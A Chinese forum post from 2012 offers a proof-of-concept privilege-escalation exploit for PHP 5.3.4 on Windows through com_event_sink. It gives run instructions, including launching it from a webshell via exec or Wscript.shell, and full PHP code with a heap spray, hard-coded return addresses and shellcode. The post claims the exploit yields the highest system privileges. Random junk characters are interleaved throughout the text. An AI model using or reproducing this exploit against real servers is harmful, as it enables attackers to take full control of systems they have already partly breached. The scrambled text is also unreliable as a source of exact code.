找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2099|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
* q/ O0 I! o2 c3 G+ `9 o( g" s9 k/ H+ ?, L" d2 E) E1 I5 |" q
测试方法如下:cmd /c x:\php\php.exe x:\test.php  b! _. M* ?* n. w. N! J; n

8 G& N7 M# d: W6 a8 l" r4 k下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
% ^4 P* X; E. ], D8 D7 Z这里是两个测试的截图:6 a. V& `& B3 l/ P* ]
1 M# ]. U5 t9 K/ y* {
* E+ C  `) q8 A5 t( S5 m2 \1 A
; l0 Y3 e; ]  @- V

# |" i& F0 O6 @6 P/ P* a
$ S. a/ Z1 f+ {4 I4 q成功利用此漏洞的攻击者将获得系统的最高权限. p' Z) B9 o* _8 O
9 K  ~6 [. ~: O2 I* O; }3 o
3 l4 w4 m: {" v- L. P& B( D1 m3 e
- I# q- p, o1 D! u9 e0 i; A

" `  D) T3 f  r$ D9 @) ~1 b! C& V2 {9 ^; a# B# Q* a
关于漏洞分析稍后附上。一下是PoC代码:% t; {5 j' ~/ ~" p4 E& z- m

1 l' P, W& x. q" V: O% F9 W<?php
3 o* T  N  c6 J& }//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
. i5 o- ]3 U4 Y& V. L  V  @4 A//$eip ="\x44\x43\x42\x41";
1 n: u8 e. u" [0 F' Z% H6 c% {2 k$eip= "\x4b\xe8\x57\x78";
2 w6 k" a9 |. w4 p  Y# w$eax ="\x80\x01\x8d\x04";
3 c2 v, R3 K9 y: E" \: p( v6 @$deodrant="";
( p0 x8 p3 @  S" K. @0 @$axespray = str_repeat($eip.$eax,0x80);
% g1 @7 L, E# k: C! V//048d01903 r$ E' l/ W+ o8 K' a5 t1 F0 l
echo strlen($axespray);
5 W$ B7 \/ A# P& oecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
7 a9 q& E6 m1 |- x, Y) F5 v- m: hecho "Silic Group Hacker Army - BlackBap.Org";
) }: b2 n7 F; d$ I" Y- S/ ]: C) r//19200 ==4B32 4b007 e+ C) V, I9 V% J1 o6 A8 x
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
9 z7 R% k8 B4 @+ x: T  `$terminate = "T";2 Y2 d4 r" I8 m' _
$u[] =$deodrant;
9 r" j% j9 i8 z$r[] =$deodrant.$terminate;; |3 G, X6 L! c3 I/ X
$a[] =$deodrant.$terminate;4 b, O8 u) j4 s* w# ^' `
$s[] =$deodrant.$terminate;
" \8 s. F6 w# U0 R6 ~//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的4 h; |0 ^1 F& Y! Q
$vVar = new VARIANT(0x048d0000+180);
: s$ H3 K) L. S) x* R' R//弹窗代码(Shellcode)8 I9 `3 D& g1 g
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";5 V3 R) e" C  l3 y
$var2 = new VARIANT(0x41414242);, p/ B& Z& D/ h5 F2 ~) K9 @. K
com_event_sink($vVar,$var2,$buffer);
% N) k* ?/ `& A7 P8 Y?>
7 Q9 l- f( E) B. l2 r9 f. c! z

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表